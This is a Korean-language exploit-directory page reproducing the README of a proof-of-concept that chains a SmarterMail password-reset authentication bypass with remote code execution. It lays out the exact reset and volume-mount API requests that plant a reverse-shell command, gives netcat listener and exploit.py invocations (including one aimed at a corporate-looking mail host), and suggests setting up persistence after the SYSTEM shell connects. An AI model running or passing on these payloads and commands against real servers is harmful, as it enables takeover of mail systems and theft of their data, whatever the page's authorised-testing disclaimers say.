Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001 — CVE-2025-52691 PoC: watchtowr의 인증 우회 익스플로잇에 관한 기사 WT-2026-0001을 기반으로 한, 작동 가능한 Python 공격 스크립트입니다. | Kitploit
도구/GitHubGitHub/ninjazan420/cve-2025-52691-poc-smartermail-authentication-bypass-exploit-wt-2026-0001
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRed TeamingRemote Access Tool
GitHubninjazan420/cve-2025-52691-poc-smartermail-authentication-bypass-exploit-wt-2026-0001

CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001

CVE-2025-52691 PoC: watchtowr의 인증 우회 익스플로잇에 관한 기사 WT-2026-0001을 기반으로 한, 작동 가능한 Python 공격 스크립트입니다.

저장소 보기
77개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-52691 / WT-2026-0001 SmarterMail 익스플로잇

🚨 중요 공지

이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다!

  • 승인되지 않은 사용은 불법이며 비윤리적입니다
  • 명시적 승인을 받은 시스템에서만 사용하십시오
  • 사용에 따른 책임은 본인에게 있습니다
  • 사용자는 모든 관련 법률을 준수할 책임이 있습니다

📋 개요

이 익스플로잇은 SmarterMail의 두 가지 중요 취약점을 결합합니다:

  1. CVE-2025-52691: 파일 업로드를 통한 사전 인증 원격 코드 실행 (RCE)
    • CVSS 점수: 10.0 (치명적)
    • 영향을 받는 버전: 빌드 9406 이하, 빌드 16.3.6989.16341 이하
    • 수정된 버전: 빌드 9413 이상

https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691

  1. WT-2026-0001: 비밀번호 재설정을 통한 인증 우회
    • CVE-ID 미할당
    • 영향을 받는 버전: 빌드 9510까지
    • 수정된 버전: 빌드 9511 (2026년 1월 15일)

https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/

공격 벡터

이 익스플로잇은 3단계 공격을 수행합니다:

  1. 1단계: WT-2026-0001을 통한 인증 우회

    • 기존 비밀번호 확인 없이 관리자 비밀번호 변경
  • 2단계: 새 비밀번호로 관리자 로그인

    • SmarterMail 웹 인터페이스에 인증
  • 3단계: 볼륨 마운트 기능을 통한 RCE

    • 리버스 셸 명령이 포함된 볼륨 마운트 생성
    • SYSTEM 권한으로 OS 명령 실행

  • 사전 요구 사항

    시스템 요구 사항

    • Python 3.6+
    • Netcat (nc)
    • curl
    • Linux/macOS/Windows (WSL)

    설치 지침

    root@kitploit:~
    # Install Python 3 (if not available)
    # Ubuntu/Debian
    sudo apt update && sudo apt install python3 python3-pip
    
    # macOS
    brew install python3
    
    # Windows (WSL)
    wsl --install
    
    # Install netcat
    # Ubuntu/Debian
    sudo apt install netcat
    
    # macOS
    brew install netcat
    
    # Windows (WSL)
    sudo apt install netcat-traditional
    

    종속성 설치

    root@kitploit:~
    # Python dependencies (if needed)
    pip3 install requests
    

    빠른 시작

    방법 1: 자동 설정 (권장)

    root@kitploit:~
    # Make executable
    chmod +x run_exploit.sh
    
    # Automated setup
    ./run_exploit.sh --auto
    
    # Or interactive setup
    ./run_exploit.sh
    

    방법 2: 직접 실행

    root@kitploit:~
    # Setup listener (in one terminal)
    nc -lvnp 4444
    
    # Run exploit (in a second terminal)
    python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
    

    방법 3: 모든 옵션 사용

    root@kitploit:~
    python3 exploit.py \
      -H http://192.168.1.100 \
      -P 9998 \
      -A 192.168.1.50 \
      -p 4444 \
      -d \
      --admin-username admin \
      --new-password "MySecurePassword123!"
    

    상세 지침

    1단계: 준비

    1. 대상 식별

      root@kitploit:~
      # Check target host
      curl -I http://192.168.1.100:9998
      
      # Identify SmarterMail version
      # (Usually in login page or HTTP headers)
      
    2. 리스너 설정

      root@kitploit:~
      # In Terminal 1: Start listener
      nc -lvnp 4444
      
      # The listener must be running before the exploit is executed
      
    3. 네트워크 검증

      root@kitploit:~
      # Ensure connection between attacker and target is possible
      ping 192.168.1.100
      nc -zv 192.168.1.100 9998
      

    2단계: 익스플로잇 실행

    root@kitploit:~
    # With the runner script (recommended)
    ./run_exploit.sh
    
    # Or directly with Python
    python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
    

    3단계: 익스플로잇 이후

    1. 셸 연결

      root@kitploit:~
      # In the listener terminal, a connection should now appear
      # You should have a SYSTEM shell
      
    2. 액세스 확인

      root@kitploit:~
      # In the obtained shell
      whoami
      hostname
      ipconfig /all  # Windows
      ifconfig       # Linux
      
    3. 지속적 액세스

      root@kitploit:~
      # Optional: Set up persistence
      # Windows: Install as service
      # Linux: Cron job or systemd service
      

    🔧 구성 옵션

    Exploit.py 매개변수

    매개변수설명기본값
    -H, --host대상 호스트 (필수)-
    -P, --port대상 포트9998
    -A, --attacker-ip리버스 셸용 공격자 IP (필수)-
    -p, --attacker-port리버스 셸용 공격자 포트 (필수)-
    -d, --debug디버그 모드 활성화False
    --admin-username관리자 사용자 이름admin
    --new-password새 관리자 비밀번호NewPassword123!@#

    Run_Exploit.sh 매개변수

    매개변수설명
    -t, --target대상 호스트
    -p, --port대상 포트
    -a, --attacker-ip공격자 IP
    -l, --listener-port리스너 포트
    -n, --new-password새 관리자 비밀번호
    -u, --admin-user관리자 사용자 이름
    -d, --debug디버그 모드
    --auto자동 모드

    예제

    예제 1: 기본 사용법

    root@kitploit:~
    # Terminal 1: Start listener
    nc -lvnp 4444
    
    # Terminal 2: Run exploit
    python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
    

    예제 2: 사용자 지정 자격 증명 사용

    root@kitploit:~
    python3 exploit.py \
      -H https://mail.company.com \
      -P 443 \
      -A 10.0.0.1 \
      -p 8080 \
      --admin-username administrator \
      --new-password "ComplexPassword123!@#"
    

    예제 3: 디버그 모드

    root@kitploit:~
    python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
    

    예제 4: 자동 설정

    root@kitploit:~
    ./run_exploit.sh --auto
    

    기술 세부 정보

    1단계: 인증 우회

    엔드포인트: POST /api/v1/auth/force-reset-password

    페이로드:

    root@kitploit:~
    {
      "IsSysAdmin": "true",
      "OldPassword": "dummy",
      "Username": "admin",
      "NewPassword": "NewPassword123!@#",
      "ConfirmPassword": "NewPassword123!@#"
    }
    

    성공 응답:

    root@kitploit:~
    {
      "success": true,
      "resultCode": 200,
      "debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
    }
    

    2단계: 관리자 로그인

    엔드포인트: POST /api/v1/auth/login

    페이로드:

    root@kitploit:~
    {
      "username": "admin",
      "password": "NewPassword123!@#"
    }
    

    3단계: 볼륨 마운트를 통한 RCE

    엔드포인트: POST /api/v1/settings/volume-mounts

    페이로드:

    root@kitploit:~
    {
      "name": "random_volume_name",
      "path": "C:\\Temp\\random_volume_name",
      "command": "powershell reverse shell command",
      "enabled": true,
      "type": "command"
    }
    

    문제 해결

    일반적인 문제

    1. 포트 차단

    root@kitploit:~
    # Error: "Connection refused"
    # Solution: Check firewall and open port
    sudo ufw allow 9998
    

    2. 리스너에 연결할 수 없음

    root@kitploit:~
    # Error: "Connection failed"
    # Solution: Check listener setup
    nc -lvnp 4444
    

    3. 인증 실패

    root@kitploit:~
    # Error: "Login failed"
    # Solution: Check target version (must be vulnerable)
    

    5. RCE 실패

    root@kitploit:~
    # Error: "Volume mount creation failed"
    # Solution: Check admin privileges, target system
    

    디버그 모드

    자세한 출력을 위해 디버그 모드를 활성화합니다:

    root@kitploit:~
    python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
    

    ⚠️ 보안 참고 사항

    법적 측면

    • 승인된 테스트만 수행하십시오
    • 서면 허가를 받으십시오
    • 현지 법률을 준수하십시오
    • 프로덕션 시스템에서 테스트하지 마십시오

    보안 예방 조치

    1. 테스트 환경: 항상 통제된 환경에서 테스트하십시오
    2. 대상 검증: 대상이 테스트 시스템인지 확인하십시오
    3. 네트워크 격리: 테스트 시스템을 프로덕션 네트워크와 분리하십시오
    4. 문서화: 모든 테스트를 문서화하십시오
    5. 정리: 테스트 후 모든 흔적을 제거하십시오

    책임 있는 사용

    • 피해를 유발하지 마십시오
    • 데이터를 도용하거나 조작하지 마십시오
    • 시스템을 비활성화하지 마십시오
    • 관계자에게 투명하게 행동하십시오

    업데이트 및 유지 관리

    버전 정보

    • v1.0: 전체 기능을 갖춘 초기 버전
    • 향후 업데이트: 오류 처리 및 안정성 개선

    🙏 감사의 말

    • watchTowr Labs - 원본 연구
    • 보안 연구 커뮤니티 - 지원
    • 개선에 기여한 모든 분들

    ⚠️ 기억하세요: 큰 힘에는 큰 책임이 따릅니다!

    도구 다운로드